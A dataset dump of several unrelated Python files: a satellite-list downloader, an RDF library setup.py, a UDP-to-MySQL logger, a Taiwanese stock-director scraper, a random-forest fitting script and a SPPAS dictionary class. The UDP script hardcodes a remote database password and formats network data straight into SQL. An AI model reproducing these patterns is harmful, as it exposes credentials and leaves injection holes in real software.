\"http://raw.githubusercontent.com/oe-alliance/oe-alliance-tuxbox-common/master/src/satellites.xml\"\nURL_SOURCE_2 = \"http://satbr.herokuapp.com/satellites/source1.xml\"\nURL_SOURCE_3 = \"http://satbr.herokuapp.com/satellites/source2.xml\"\nOUT_DIR = \"/etc/enigma2/satellites.xml\"\n#OUT_DIR = \"satellites.xml\"\n#---------------------------------------------\n\ndef log(msg):\n sys.stdout.write(msg)\n sys.stdout.flush()\n\ndef main():\n choice = str(sys.argv[1])\n log('Downloading satellites.xml...\\n')\n if choice is \"1\":\n urllib.urlretrieve(URL_SOURCE_1, OUT_DIR)\n elif choice is \"2\":\n urllib.urlretrieve(URL_SOURCE_2, OUT_DIR)\n elif choice is \"3\":\n urllib.urlretrieve(URL_SOURCE_3, OUT_DIR)\n\n\n\n\nmain()\n","sub_path":"usr/lib/enigma2/python/Plugins/Extensions/AutoFavourites/updateSatellites.py","file_name":"updateSatellites.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"579665378","text":"from setuptools import setup, find_packages\nimport sys, os\n\nversion = '0.36'\n\ntry:\n from mercurial import ui, hg, error\n repo = hg.repository(ui.ui(), \".\")\n ver = repo[version]\nexcept ImportError:\n pass\nexcept error.RepoLookupError:\n tip = repo[\"tip\"]\n version = version + \".%s.%s\" % (tip.rev(), tip.hex()[:12])\nexcept error.RepoError:\n pass\n\nsetup(\n name='ordf',\n version=version,\n description=\"Open Knowledge Foundation RDF\",\n long_description=\"\"\"\\\nOpen Knowledge Foundation RDF Library\"\"\",\n # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Environment :: Console\",\n \"Environment :: Web Environment\",\n \"Framework :: Paste\",\n \"Framework :: Pylons\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Information Technology\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: GNU Affero General Public License v3\",\n \"Operating System :: POSIX\",\n \"Programming Language :: Python :: 2.6\",\n \"Topic :: Internet\",\n \"Topic :: Scientific/Engineering :: Artificial Intelligence\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n keywords=\"rdf rdflib provenance messaging\",\n author='Open Knowledge Foundation',\n author_email='okfn-help@lists.okfn.org',\n url=\"http://ordf.org/\",\n license='AGPL',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n \"Paste\",\n \"setuptools\",\n \"rdflib\",\n #\"carrot\", carrot is an optional dependency\n \"pairtree\",\n ],\n entry_points=\"\"\"\n # -*- Entry points: -*-\n [console_scripts]\n ordf=ordf.command:ordf\n ordf_load=ordf.command:load_rdf\n fresnel=ordf.vocab.fresnel:render\n\n [ordf.handler]\n null=ordf.handler:HandlerPlugin\n pairtree=ordf.handler.pt:PairTree\n rdflib=ordf.handler.rdf:RDFLib\n fourstore=ordf.handler.rdf:FourStore\n xapian=ordf.handler.xap:Xapian\n redis=ordf.handler.cache:Redis\n rabbit=ordf.handler.queue:RabbitQueue\n fuxi=ordf.handler.fuxi:FuXiReasoner\n \"\"\",\n)\n","sub_path":"pypi_install_script/ordf-0.36.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"306923608","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/3/28 8:48\n# @Author : HT\n# @Email : acer_yuhaitao@163.com\n# @File : udp.py\n# @Software: PyCharm\nimport datetime\nimport struct\nfrom socket import *\nfrom time import *\n\nimport MySQLdb\n\n\ndef add_mysql(MAC, dev_float, uptime, fromip):\n connect = MySQLdb.connect('mysql.litianqiang.com', 'novel', 'qiangzi()', 'test', port=7150, charset=\"utf8\")\n cursor = connect.cursor()\n sql = 'insert into devapp_dev_data(MAC,dev_float,uptime,fromip) VALUES (\"{MAC}\",{dev_float},\"{uptime}\",\"{fromip}\");'.format(\n MAC=MAC, dev_float=dev_float, uptime=uptime, fromip=fromip)\n # sql = 'CREATE DATABASE IF NOT EXISTS dev_test DEFAULT CHARSET utf8 COLLATE utf8_general_ci;'\n try:\n cursor.execute(sql)\n connect.commit()\n except Exception as e:\n print(\"SQLERRO\", e)\n connect.close()\n pass\n\n\ndef udp():\n Host = '192.168.3.90'\n PORT = 8899\n BUFSZ = 1024\n ADDR = (Host, PORT)\n udpserSock = socket(AF_INET, SOCK_DGRAM)\n udpserSock.bind(ADDR)\n while True:\n data, addr = udpserSock.recvfrom(BUFSZ)\n MAC = data[8:20].decode() # 将bytes转换成str\n dev_data = data[20:24]\n dev_float = struct.unpack('=1911:\n year=year-1911\n if debug==1:\n print(lno(),stock_id,year,month)\n str_ym='%d%02d'%(year,month)\n filename='%s/down_stock_director.%d%02d'%(dst_folder,year,month)\n header='user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'\n url='https://mops.twse.com.tw/mops/web/ajax_stapap1?TYPEK=%s&firstin=true&year=%d&month=%02d&off=1&co_id=%s&step=0'%(market,year,month,stock_id)\n \n \n if not os.path.exists(filename):\n cmd='curl -H \"{}\" \"{}\" -o {} --speed-time 10 --speed-limit 1'.format(header,url,filename)\n print(lno(),cmd)\n if download==1:\n os.system(cmd)\n if not os.path.exists(filename):\n return pd.DataFrame()\n \n \"\"\"\n try:\n if os.path.getsize(filename)<2048:\n print(lno(),filename)\n raise\n os.remove(filename) \n time.sleep(5) \n except:\n print(lno(),stock_id,date,'not exist')\n return pd.DataFrame() \n \"\"\" \n if not os.path.exists(filename): \n return pd.DataFrame()\n if os.path.getsize(filename)<2048:\n if check_no_public(filename)==True:\n return pd.DataFrame()\n else:\n os.remove(filename) \n try: \n dfs = pd.read_html(filename,encoding = 'utf8')\n except:\n print(lno(),filename,\"ng file\")\n return pd.DataFrame() \n if len(dfs)>=5 :\n if str_ym in dfs[2].iloc[0][0]:\n print(lno(),str_ym,dfs[2].iloc[0][0])\n df=dfs[4]\n elif str_ym in dfs[3].iloc[0][0]: \n df=dfs[5]\n else:\n print(lno(),\"data gg\") \n return\n print(lno(),df.columns)\n columns=df[0].tolist()\n records=df[1].tolist()\n df1=pd.DataFrame([records],columns=columns)\n df1['stock_id']=str(stock_id)\n df1['stock_name']=str(stock_name)\n \n df1['date']=datetime(date.year,date.month,1)\n print(lno(),df1)\n out_file='data/director/final/{}.csv'.format(stock_id)\n check_dst_folder('data/director/final')\n if os.path.exists(out_file): \n print(lno(),out_file)\n df_s = pd.read_csv(out_file,encoding = 'utf-8',dtype={'date': 'str','stock_id': 'str'})\n df_s.dropna(axis=1,how='all',inplace=True)\n df_s.dropna(inplace=True)\n df_s['date']=[comm.date_sub2time64(x) for x in df_s['date'] ] \n df_s=df_s.append(df1,ignore_index=True)\n df_s.drop_duplicates(subset=['date'],keep='last',inplace=True)\n df_s=df_s.sort_values(by=['date'], ascending=False)\n df_s.to_csv(out_file,encoding='utf-8', index=False)\n else :\n df1.to_csv(out_file,encoding='utf-8', index=False)\n out_file='data/director/final/{}-{}.csv'.format(year,month)\n if os.path.exists(out_file): \n print(lno(),out_file)\n df_s = pd.read_csv(out_file,encoding = 'utf-8',dtype={'date': 'str','stock_id': 'str'})\n df_s.dropna(axis=1,how='all',inplace=True)\n df_s.dropna(inplace=True)\n df_s['date']=[comm.date_sub2time64(x) for x in df_s['date'] ] \n df_s=df_s.append(df1,ignore_index=True)\n df_s.drop_duplicates(subset=['stock_id'],keep='last',inplace=True)\n df_s.to_csv(out_file,encoding='utf-8', index=False)\n else :\n df1.to_csv(out_file,encoding='utf-8', index=False) \n #_director=get_director()\n #_director.df_to_sql(stock_id,df1,datetime(date.year,date.month,1))\n #print(lno(),dfs[4]['1'])\n else: \n print(lno(),dfs) \n print(lno(),len(dfs))\n print(lno(),str_ym,dfs[2].iloc[0][0])\n print(lno(),filename)\n raise\n os.remove(filename)\n \n \n \n \ndef down_stock_director_goodinfo(stock_id,download=0,debug=1):\n dst_folder='data/director/goodinfo'\n check_dst_folder(dst_folder)\n if debug==1:\n print(lno(),stock_id)\n filename='%s/%s.html'%(dst_folder,stock_id)\n # 偽瀏覽器\n \n url='https://goodinfo.tw/StockInfo/StockDirectorSharehold.asp?STOCK_ID=%s'%(stock_id)\n header='user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'\n cmd='curl -H \"{}\" {} -o {}'.format(header,url,filename)\n print(lno(),cmd)\n #if os.path.exists(filename):\n # return \n if download==1:\n os.system(cmd)\n print(lno(),\"filesize:\",os.path.getsize(filename))\n time.sleep(5)\n if os.path.getsize(filename)<2048:\n os.remove(filename) \n ##only download\n \n if not os.path.exists(filename): \n return pd.DataFrame()\n try: \n dfs = pd.read_html(filename,encoding = 'utf8')\n except:\n print(lno(),filename,\"ng file\")\n return pd.DataFrame()\n if '全體董監持股' in dfs[11].columns:\n df=dfs[11]\n df.columns=range(0,21)\n if debug==1:\n #print(lno(),dfs) \n #print(lno(),len(dfs) )\n #print(lno(),df) \n #print(lno(),df[[0,15,16,17,20]])\n d=df[[0,15,16,17]].copy()\n d.columns=['date','全體董監持股張數','全體董監持股(%)','全體董監持股增減']\n def string_to_time(string):\n \n if '/' in string:\n year, month = string.split('/')\n if '-' in string:\n year, month = string.split('-') \n if int(year)>=1911:\n return datetime(int(year) , int(month), 1)\n d['date']=d['date'].apply(string_to_time)\n #d['date']= pd.to_datetime(d['date'], format='%Y/%m/%d')\n d=d.replace('-',np.NaN)\n d=d.dropna(thresh=2)\n print(lno(),d)\n comm.stock_df_to_sql(stock_id,'director',d) \n\ndef get_stock_director_df_goodinfo(stock_id,download=1,debug=1):\n dst_folder='data/director/goodinfo'\n check_dst_folder(dst_folder)\n if debug==1:\n print(lno(),stock_id)\n filename='%s/%s.html'%(dst_folder,stock_id)\n # 偽瀏覽器\n \n url='https://goodinfo.tw/StockInfo/StockDirectorSharehold.asp?STOCK_ID=%s'%(stock_id)\n header='user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'\n cmd='curl -H \"{}\" {} -o {}'.format(header,url,filename)\n #if os.path.exists(filename):\n # return \n if download==1:\n print(lno(),cmd)\n os.system(cmd)\n print(lno(),\"filesize:\",os.path.getsize(filename))\n time.sleep(5)\n if os.path.getsize(filename)<2048:\n os.remove(filename) \n ##only download\n \n if not os.path.exists(filename): \n return pd.DataFrame()\n try: \n dfs = pd.read_html(filename,encoding = 'utf8')\n except:\n print(lno(),filename,\"ng file\")\n return pd.DataFrame()\n if '全體董監持股' in dfs[11].columns:\n df=dfs[11]\n df.columns=range(0,21)\n d=df[[0,15,16,17]].copy()\n d.columns=['date','全體董監持股張數','全體董監持股(%)','全體董監持股增減']\n def string_to_time(string):\n if '/' in string:\n year, month = string.split('/')\n if '-' in string:\n year, month = string.split('-') \n if int(year)>=1911:\n return datetime(int(year) , int(month), 1)\n d['date']=d['date'].apply(string_to_time)\n #d['date']= pd.to_datetime(d['date'], format='%Y/%m/%d')\n d=d.replace('-',np.NaN)\n d=d.dropna(thresh=2)\n return d.reset_index(drop=True)\n return pd.DataFrame() \n \ndef download_all_stock_director_goodinfo():\n nowdate=startdate\n date=datetime(2020,4,1)\n d1=comm.exchange_data('tse').get_df_date_parse(date)\n d1['market']='sii'\n d2=comm.exchange_data('otc').get_df_date_parse(date)\n d2['market']='otc'\n d=pd.concat([d1,d2])\n stock_list=d['stock_id'].tolist()\n for i in range(0,len(d)) :\n stock_id=d.iloc[i]['stock_id']\n if len(stock_id)!=4:\n continue\n if stock_id.startswith('00'):\n continue\n down_stock_director_goodinfo(stock_id)\n\ndef download_all_stock_director(startdate,enddate):\n nowdate=startdate\n while nowdate<=enddate :\n date=datetime(nowdate.year,nowdate.month,1)+relativedelta(months=1,days=-1)\n d1=comm.exchange_data('tse').get_last_df_bydate(date)\n print(lno(),d1)\n d1['market']='sii'\n d2=comm.exchange_data('otc').get_last_df_bydate(date)\n print(lno(),d2)\n d2['market']='otc'\n d=pd.concat([d1,d2])\n stock_list=d['stock_id'].tolist()\n for i in range(0,len(d)) :\n \n stock_id=d.iloc[i]['stock_id']\n stock_name=d.iloc[i]['stock_name']\n market=d.iloc[i]['market']\n if len(stock_id)!=4:\n continue\n if stock_id.startswith('00'):\n continue\n down_stock_director(stock_id,stock_name,market,nowdate)\n nowdate = nowdate + relativedelta(months=1) \n \ndef download_new_stock_director(startdate,enddate,dw_stock_id):\n date=datetime.today().date()\n d1=comm.exchange_data('tse').get_last_df_bydate(date)\n print(lno(),d1)\n d1['market']='sii'\n d2=comm.exchange_data('otc').get_last_df_bydate(date)\n print(lno(),d2)\n d2['market']='otc'\n d=pd.concat([d1,d2])\n stock_list=d['stock_id'].tolist()\n \n for i in range(0,len(d)) :\n stock_id=d.iloc[i]['stock_id']\n if dw_stock_id!=stock_id:\n continue\n stock_name=d.iloc[i]['stock_name']\n market=d.iloc[i]['market']\n if len(stock_id)!=4:\n continue\n if stock_id.startswith('00'):\n continue\n nowdate=startdate\n while nowdate<=enddate :\n down_stock_director(stock_id,stock_name,market,nowdate)\n nowdate = nowdate + relativedelta(months=1) \n \ndef parse_stock_director_xq(startdate,enddate):\n nowdate=startdate\n while nowdate<=enddate :\n \n _csv='data/director/xq/director{}.csv'.format(nowdate.strftime('%Y%m'))\n if os.path.exists(_csv):\n dfs = pd.read_csv(_csv,encoding = 'big5hkscs',skiprows=5,header=None)\n try:\n #dfs.columns=['序號','stock_id','stock_name','成交','漲幅%','總量','董監持股佔股本比例']\n dfs.columns=['序號','stock_id','stock_name','成交','漲幅%','總量','d1','d2','董監持股','董監持股佔股本比例','符合條件數']\n except:\n print(lno(),dfs.iloc[0])\n dfs.columns=['序號','stock_id','stock_name','成交','漲幅%','總量','董監持股','董監持股佔股本比例','符合條件數']\n #raise\n #print(lno(),dfs.iloc[0])\n #raise \n d=dfs[['stock_id','董監持股','董監持股佔股本比例']].copy()\n d['date']=datetime(nowdate.year,nowdate.month,15)\n for i in range(0,len(dfs)):\n print(lno(),d.iloc[i])\n #raise\n stock_id=d.iloc[i]['stock_id'].replace('.TW','')\n comm.stock_read_sql_add_df(stock_id,'director',d[i:i+1])\n else:\n print(lno(),_csv) \n nowdate = nowdate + relativedelta(months=1) \ndef get_mops_month_df(date):\n _csv='data/director/final/{}-{}.csv'.format(date.year-1911,date.month)\n if os.path.exists(_csv):\n print(lno(),_csv)\n dfs = pd.read_csv(_csv,encoding = 'utf-8',dtype= {'stock_id':str})\n d=dfs[['stock_id','stock_name','全體董監持股合計']].copy()\n \n #print(lno(),d.iloc[0])\n return d\n return pd.DataFrame()\ndef get_mops_stock_director_df(r):\n _csv='data/director/final/{}.csv'.format(r['stock_id'])\n if os.path.exists(_csv):\n print(lno(),_csv)\n dfs = pd.read_csv(_csv,encoding = 'utf-8',dtype= {'stock_id':str})\n d=dfs[['date','stock_id','stock_name','全體董監持股合計']].copy()\n #print(lno(),d.iloc[0])\n return d\n return pd.DataFrame()\n \ndef get_xq_month_df(date):\n _csv='data/director/xq/director{}.csv'.format(date.strftime('%Y%m'))\n if os.path.exists(_csv):\n print(lno(),_csv)\n dfs = pd.read_csv(_csv,encoding = 'big5hkscs',skiprows=5,header=None)\n try:\n #dfs.columns=['序號','stock_id','stock_name','成交','漲幅%','總量','董監持股佔股本比例']\n dfs.columns=['序號','stock_id','stock_name','成交','漲幅%','總量','d1','d2','董監持股','董監持股佔股本比例','符合條件數']\n except:\n print(lno(),dfs.iloc[0])\n dfs.columns=['序號','stock_id','stock_name','成交','漲幅%','總量','董監持股','董監持股佔股本比例','符合條件數']\n #raise\n d=dfs[['stock_id','stock_name','董監持股','董監持股佔股本比例']].copy()\n \n #print(lno(),d.iloc[0])\n return d\n return pd.DataFrame()\n \n \ndef gen_director_good_list(date,debug=0,ver=1):\n nowdate=date\n cnt=0\n if ver==1:\n while cnt<=3:\n _csv='data/director/final/{}-{}.csv'.format(nowdate.year-1911,nowdate.month)\n if os.path.exists(_csv):\n break\n nowdate=nowdate - relativedelta(months=1)\n cnt=cnt+1\n d=get_mops_month_df(nowdate)\n if len(d):\n prev_month = nowdate - relativedelta(months=1)\n d_prev=get_mops_month_df(prev_month)\n if len(d_prev):\n d_prev.columns=['stock_id','stock_name','前1月全體董監持股合計']\n df_out=pd.merge(d,d_prev)\n def calc_director_add(r):\n try:\n add= float(r['全體董監持股合計'])-float(r['前1月全體董監持股合計'])\n except:\n print(lno(),r) \n raise \n return add \n df_out['董監持股增減']=df_out.apply(calc_director_add,axis=1)\n df_good=df_out[df_out['董監持股增減']>100*1000].copy().reset_index(drop=True)\n return df_good\n return pd.DataFrame() \n raise \n while cnt<=3:\n _csv='data/director/xq/director{}.csv'.format(nowdate.strftime('%Y%m'))\n if os.path.exists(_csv):\n break\n nowdate=nowdate - relativedelta(months=1)\n cnt=cnt+1\n d=get_xq_month_df(nowdate)\n if len(d):\n prev_month = nowdate - relativedelta(months=1)\n d_prev=get_xq_month_df(prev_month)\n if len(d_prev):\n d_prev.columns=['stock_id','stock_name','前1月董監持股','前1月董監持股佔股本比例']\n df_out=pd.merge(d,d_prev)\n def calc_director_add(r):\n try:\n add= float(r['董監持股'])-float(r['前1月董監持股'])\n except:\n print(lno(),r) \n raise \n return add \n df_out['董監持股增減']=df_out.apply(calc_director_add,axis=1)\n df_good=df_out[df_out['董監持股增減']>100].copy().reset_index(drop=True)\n def removetw(r):\n return r['stock_id'].replace('.TW','') \n df_good['stock_id']=df_good.apply(removetw,axis=1)\n \n return df_good\n else:\n nowdate=nowdate - relativedelta(months=1)\n cnt+=1\n return pd.DataFrame() \n \n \n \n \n \nif __name__ == '__main__':\n\n sql_data=director()\n if len(sys.argv)==1:\n startdate=datetime.today().date()\n \n #nowdate=datetime(2020,2,1)\n #down_stock_director_goodinfo('6152')\n #download_all_stock_director_goodinfo()\n \n #down_stock_director('6152',nowdate)\n #\"\"\"\n startdate=datetime(2019,8,1)\n enddate=datetime(2020,3,1)\n parse_stock_director_xq(startdate,enddate)\n #\"\"\"\n \n elif sys.argv[1]=='xq' :\n startdate=datetime.strptime(sys.argv[2],'%Y%m%d')\n try:\n enddate=datetime.strptime(sys.argv[3],'%Y%m%d')\n except:\n enddate=startdate\n parse_stock_director_xq(startdate,enddate)\n elif sys.argv[1]=='mops' :\n ##公開資訊觀測站\n startdate=datetime.strptime(sys.argv[2],'%Y%m%d')\n try:\n enddate=datetime.strptime(sys.argv[3],'%Y%m%d')\n except:\n enddate=startdate\n download_all_stock_director(startdate,enddate) \n elif sys.argv[1]=='stock' :\n ##公開資訊觀測站\n dw_stock=sys.argv[2]\n startdate=datetime.strptime(sys.argv[3],'%Y%m%d')\n try:\n enddate=datetime.strptime(sys.argv[4],'%Y%m%d')\n except:\n enddate=startdate\n download_new_stock_director(startdate,enddate,dw_stock) \n \n elif sys.argv[1]=='mopsday' :\n prevmoth=datetime.today().date()-relativedelta(months=1)\n startdate=datetime(prevmoth.year,prevmoth.month,1)\n enddate=startdate\n download_all_stock_director(startdate,enddate) \n elif sys.argv[1]=='-d' :\n #print (lno(),len(sys.argv))\n if len(sys.argv)==4 :\n # 從今日往前抓一個月\n startdate=datetime.strptime(sys.argv[2],'%Y%m%d')\n enddate=datetime.strptime(sys.argv[3],'%Y%m%d')\n now_date = startdate \n while now_date<=enddate :\n director.download(now_date) #new\n now_date = now_date + relativedelta(months=1)\n else :\n print (lno(),'func -d startdata enddate') \n \n elif sys.argv[1]=='gen' :\n if len(sys.argv)==3 :\n #參數2:開始日期 \n datatime=datetime.strptime(sys.argv[2],'%Y%m%d')\n gen_revenue_final_file(datatime)\n else :\n print (lno(),'func -g date')\n elif sys.argv[1]=='get' :\n if len(sys.argv)==4 :\n #參數2:開始日期 \n stock_id=sys.argv[2]\n datatime=datetime.strptime(sys.argv[3],'%Y%m%d')\n #get_revenue_by_stockid_bydate(stock_id,datatime)\n #get_revenue_by_stockid(stock_id,datatime)\n df=sql_data.get_by_date(datatime)\n print(lno(),df)\n elif sys.argv[1]=='sql' :\n \n startdate=datetime.strptime(sys.argv[2],'%Y%m%d')\n try:\n enddate=datetime.strptime(sys.argv[3],'%Y%m%d')\n except:\n enddate=startdate\n now_date = startdate \n while now_date<=enddate :\n #down_tse_monthly_report(int(now_date.year),int(now_date.month))\n #down_otc_monthly_report(int(now_date.year),int(now_date.month))\n sql_data.download(now_date)\n #gen_revenue_final_file(now_date)\n now_date = now_date + relativedelta(months=1)\n \n \n else:\n print (lno(),\"unsport \")\n sys.exit()\n \n ","sub_path":"director.py","file_name":"director.py","file_ext":"py","file_size_in_byte":24343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"235645477","text":"\"\"\"\n16/11/2018 - JFE\nThis files fits the best model from GridSearch to the whole dataset and saves\nit for quick use in production files\n\n11/10/2019 - DTM\nMinor alterations to account for changes in the previous scripts\n \"\"\"\n\nfrom useful import *\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import GridSearchCV, train_test_split\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.externals import joblib\nimport pandas as pd\n\npca = joblib.load('/disk/scratch/local.2/dmilodow/pantrop_AGB_LUH/saved_algorithms/pca_pipeline.pkl')\n\n#load the fitted rf_grid\nrf_grid = np.load('/disk/scratch/local.2/dmilodow/pantrop_AGB_LUH/saved_algorithms/rfbc_grid.npz')['arr_0'][()]\n# Construct best-fitting random forest model\nidx = np.argmin(rf_grid['mean_test_score'])\nrf_best = RandomForestRegressor(bootstrap=True,\n max_depth= rf_grid['params'][idx]['max_depth'],#None,\n max_features=rf_grid['params'][idx]['max_features'],\n min_samples_leaf=rf_grid['params'][idx]['min_samples_leaf'],\n n_estimators=rf_grid['params'][idx]['n_estimators'],\n n_jobs=30,\n oob_score=True,\n random_state=26,\n )\nprint(rf_grid['params'][idx])\n#refit to whole dataset - get predictors and targets\npredictors,landmask = get_predictors(y0=2000,y1=2009)\ncontinents = get_continents(landmask)\ncontinents = continents[landmask].reshape(landmask.sum(),1)\n\n#transform the data\nX = pca.transform(predictors)\nX = np.hstack((X,continents))\n\nmed = xr.open_rasterio('/disk/scratch/local.2/jexbraya/AGB/Avitable_AGB_Map_0.25d.tif')[0].values[landmask]\nunc = xr.open_rasterio('/disk/scratch/local.2/jexbraya/AGB/Avitable_AGB_Uncertainty_0.25d.tif')[0].values[landmask]\n\nlvls = ['mean','upper','lower']\nfor aa, y in enumerate([med,med+unc,med-unc]):\n y[y<0] = 0\n rf1,rf2=rfbc_fit(rf_best,X,y)\n print(lvls[aa])\n print('MSE: %.03f' % mean_squared_error(rfbc_predict(rf1,rf2,X),y))\n rfbc={'rf1':rf1,'rf2':rf2}\n joblib.dump(rfbc,'/disk/scratch/local.2/dmilodow/pantrop_AGB_LUH/saved_algorithms/rfbc_%s.pkl' % lvls[aa])\n","sub_path":"pt4_RFBC_final_fit.py","file_name":"pt4_RFBC_final_fit.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"609036707","text":"#!/usr/bin/env python2\r\n# -*- coding: UTF-8 -*-\r\n# ---------------------------------------------------------------------------\r\n# ___ __ __ __ ___\r\n# / | \\ | \\ | \\ / Automatic\r\n# \\__ |__/ |__/ |___| \\__ Annotation\r\n# \\ | | | | \\ of\r\n# ___/ | | | | ___/ Speech\r\n# =============================\r\n#\r\n# http://sldr.org/sldr000800/preview/\r\n#\r\n# ---------------------------------------------------------------------------\r\n# developed at:\r\n#\r\n# Laboratoire Parole et Langage\r\n#\r\n# Copyright (C) 2011-2015 Brigitte Bigi\r\n#\r\n# Use of this software is governed by the GPL, v3\r\n# This banner notice must not be removed\r\n# ---------------------------------------------------------------------------\r\n#\r\n# SPPAS is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# SPPAS is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with SPPAS. If not, see .\r\n#\r\n# ---------------------------------------------------------------------------\r\n# File: dictrepl.py\r\n# ----------------------------------------------------------------------------\r\n\r\n__docformat__ = \"\"\"epytext\"\"\"\r\n__authors__ = \"\"\"Brigitte Bigi (brigitte.bigi@gmail.com)\"\"\"\r\n__copyright__ = \"\"\"Copyright (C) 2011-2015 Brigitte Bigi\"\"\"\r\n\r\n\r\n# ----------------------------------------------------------------------------\r\n\r\nimport codecs\r\nimport logging\r\nimport rutils\r\n\r\n# ----------------------------------------------------------------------------\r\n\r\n\r\nclass DictRepl:\r\n \"\"\"\r\n @authors: Brigitte Bigi\r\n @contact: brigitte.bigi@gmail.com\r\n @license: GPL, v3\r\n @summary: Replacements Dictionary.\r\n\r\n \"\"\"\r\n\r\n def __init__(self, dictfilename=None, nodump=False):\r\n \"\"\"\r\n Constructor.\r\n\r\n @param dictfilename is the dictionary file name (2 columns)\r\n @param nodump (Boolean) disable the creation of a dump file\r\n\r\n \"\"\"\r\n\r\n # Symbol to represent missing entries in the dictionary\r\n # (also called unknown entries)\r\n self._filename = dictfilename\r\n\r\n # The replacements dictionary\r\n self._dict = {}\r\n\r\n if dictfilename is not None:\r\n\r\n data = None\r\n if nodump is False:\r\n # Try first to get the dict from a dump file (at least 2 times faster)\r\n data = rutils.load_from_dump( dictfilename )\r\n\r\n # Load from ascii if: 1st load, or, dump load error, or dump older than ascii\r\n if data is None:\r\n self.load_from_ascii( dictfilename )\r\n if nodump is False:\r\n rutils.save_as_dump( self._dict, dictfilename )\r\n logging.info('Get dictionary from ASCII file.')\r\n\r\n else:\r\n self._dict = data\r\n logging.info('Get dictionary from dumped file.')\r\n\r\n # End __init__\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n # ------------------------------------------------------------------------\r\n # Getters\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def is_key(self,entry):\r\n \"\"\"\r\n Return True if entry is a key in the dictionary.\r\n\r\n \"\"\"\r\n return self._dict.has_key( entry )\r\n\r\n # End is_key\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def is_value(self,entry):\r\n \"\"\"\r\n Return True if entry is a value in the dictionary.\r\n\r\n \"\"\"\r\n return entry in self._dict.values()\r\n\r\n # End is_value\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def is_unk(self,entry):\r\n \"\"\"\r\n Return True if entry is unknown (not in the dictionary).\r\n\r\n \"\"\"\r\n return not self._dict.has_key( entry )\r\n\r\n # End is_unk\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def get_dictsize(self):\r\n \"\"\"\r\n Return the number of entries in the dictionary.\r\n\r\n \"\"\"\r\n return len(self._dict)\r\n\r\n # End get_dictsize\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def get_dict(self):\r\n \"\"\"\r\n Return the replacements dictionary.\r\n\r\n \"\"\"\r\n return self._dict\r\n\r\n # End get_dict\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def get_keys(self):\r\n \"\"\"\r\n Return the list of entries of the dictionary.\r\n\r\n \"\"\"\r\n return self._dict.keys()\r\n\r\n # End get_keys\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def replace(self, key):\r\n \"\"\"\r\n Return the replacement value of a key or None if key has no replacement.\r\n\r\n \"\"\"\r\n return self._dict.get(key, None)\r\n\r\n # End replace\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def replace_reversed(self, value):\r\n \"\"\"\r\n Return the replacement key of a value or None if value does not exists.\r\n @return a string with all keys, separated by '|'.\r\n\r\n \"\"\"\r\n # hum... a value can have more than 1 key!\r\n keys = [k for k,v in self._dict.items() if v == value]\r\n if len(keys) == 0:\r\n return None\r\n return \"_\".join(keys)\r\n\r\n # End replace_reversed\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n # ------------------------------------------------------------------------\r\n # Setters\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def add(self, token, repl):\r\n \"\"\"\r\n Add a token/repl to the dict.\r\n\r\n @param token (string) unicode string of the token to add\r\n @param repl (string) the replacement token\r\n\r\n \"\"\"\r\n\r\n # Remove multiple spaces\r\n key = \" \".join(token.split())\r\n value = \" \".join(repl.split())\r\n\r\n # Add in the dict\r\n if self._dict.has_key(key):\r\n value = u\"{0}{1}\".format(self._dict.get(key), value)\r\n self._dict[key] = value\r\n\r\n # End add\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n\r\n # ------------------------------------------------------------------------\r\n # File\r\n # ------------------------------------------------------------------------\r\n\r\n\r\n def load_from_ascii(self, filename):\r\n \"\"\"\r\n Load a dict from an HTK-ASCII file.\r\n\r\n \"\"\"\r\n\r\n with codecs.open(filename, 'r', rutils.ENCODING) as fd:\r\n lines = fd.readlines()\r\n\r\n for line in lines:\r\n line = \" \".join(line.split())\r\n if len(line) == 0:\r\n continue\r\n\r\n tabline = line.split()\r\n if len(tabline) < 2:\r\n continue\r\n\r\n # Add (or modify) the entry in the dict\r\n key = tabline[0]\r\n value = \"_\".join(tabline[1:])\r\n if self._dict.has_key(key):\r\n value = 